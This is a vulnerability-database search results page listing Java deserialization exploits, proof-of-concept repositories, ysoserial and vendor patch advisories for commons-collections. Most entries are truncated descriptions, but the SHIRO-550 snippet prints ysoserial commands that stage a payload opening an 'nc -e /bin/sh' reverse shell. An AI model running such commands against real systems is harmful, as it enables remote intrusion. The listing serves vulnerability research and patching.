566 matches found
CVE-2020-9484
CVE-2020-9484 Reproduce Apache Tomcat Session Deserialization Code Execution Vulnerability CVE-2020-9484 with Kali 2.0 Environment: 1. Kali 2.0 2. apache-tomcat-7.0.61-CVE-2020-9484.tar.gz webapp is s2-053, added commons-collections4-4.0.jar under its lib Start /yourtomcatdir/bin/startup.sh...
ysoserial
ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. Description Originally released as part of AppSecCali 2015 Talk "Marshalling Pickles: how deserializing objects will ruin your day" with gadget chains for Apache Commons Collections 3.x and...
CVE-2023-43208
CVE-2023-43208 — Mirth Connect RCE Proof-of-Concept exploit for CVE-2023-43208 , an unauthenticated Remote Code Execution vulnerability in Mirth Connect versions prior to 4.4.1. Description Mirth Connect is a widely deployed open-source healthcare integration engine. This vulnerability leverages ...
Jboss_JMXInvokerServlet_Deserialization_RCE
JbossJMXInvokerServletDeserializationRCE Using Burp Suite to Exploit Java Deserialization Vulnerabilities 0x01 Setting Up the Jboss JMXInvokerServlet Deserialization Vulnerability Test Environment: Jboss JMXInvokerServlet Deserialization Vulnerability Vulnerability Principle: JBoss reads the...
CVE-2025-24813
CVE-2025-24813 Tomcat PoC PoC for an authorized CTF/lab environment. It exploits CVE-2025-24813 via partial PUT write of a Tomcat session file, then triggers deserialization with JSESSIONID. Prerequisites Python 3 Python requests module Java JDK java and javac The included...
CVE-2025-24813
CVE-2025-24813 Description This repo aims to provide clear instructions for rapid deployment of Tomcat v9.0.90 with java 25.0.1 2025-10-21 LTS on Windows Server 2019 Standard for Cyber Security threat emulation exercise. The exploit.py leverages on ysoserial-all.jar to create a payload using...
CVE-2015-6420
CVE-2015-6420 Deserialization vulnerability References Java Deserialization Vulnerability - CC Exploit Chain Analysis...
CVE-2017-7525-Jackson-Deserialization-Lab
CVE-2017-7525 Java Insecure Deserialization Lab Basic Java REST application vulnerable to Insecure Deserialization, leading to RCE. The project must be run on Java 8u45 Based on Maven with the following dependencies: jackson-databind 2.2.2 commons-collections 3.1 spring-context-support 4.3.11 Mor...
SHIRO-550
Shiro RememberMe 1.2.4 Deserialization Vulnerability SHIRO-550 commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e /bin/sh...
Red Hat JBoss - Insecure Deserialization
Red Hat JBoss Application Server 4.x, 5.x, 6.x contains an insecure deserialization vulnerability in the JMXInvokerServlet and EJBInvokerServlet HTTP Invoker endpoints. These endpoints deserialize arbitrary Java objects from unauthenticated HTTP POST requests. An attacker can send a crafted Apach...
Rocky Linux 8 [CIQ] Security Update: apache-commons-collections / apache-commons-lang / bea-stax-api / etc Multiple Vulnerabilities (crlba-2019_3416)
The Rocky Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlba-20193416 advisory. For detailed information on changes in this release, see the Rocky Linux 8.1 Release Notes linked from the References section. This advisory is provided by...
CLSA-2026-1789362482 TuxCare security update for commons-collections:commons-collections (1 CVE)
TuxCare rebuilt commons-collections:commons-collections to address 1 CVE. Fixed in 3.1-tuxcare.1...
PT-2026-97737
TuxCare rebuilt commons-collections:commons-collections to address 1 CVE. Fixed in 3.1-tuxcare.1...
...[ More ]
This Metasploit module exploits an unsafe XStream deserialization vulnerability in the JetBrains TeamCity agent polling protocol. An unauthenticated attacker can register a build agent, then submit a crafted error response that causes TeamCity to deserialize an attacker-controlled object graph. T...
CLSA-2026-1778114665 TuxCare security update for commons-collections (1 CVE)
TuxCare rebuilt 2 commons-collections packages to address 1 CVE. Fixed in 3.2-tuxcare.1...
CLSA-2026-1777509604 TuxCare security update for commons-collections (1 CVE)
TuxCare rebuilt 2 commons-collections packages to address 1 CVE. Fixed in 3.2.1-tuxcare.1...
ROOT-APP-MAVEN-CVE-2015-7501 CVE-2015-7501 in commons-collections:commons-collections - Patched by Root
Root has patched CVE-2015-7501 in the commons-collections:commons-collections package for Root:Maven. Multiple fixed versions available...
ROOT-APP-MAVEN-CVE-2015-6420 CVE-2015-6420 in commons-collections:commons-collections - Patched by Root
Root has patched CVE-2015-6420 in the commons-collections:commons-collections package for Root:Maven. Multiple fixed versions available...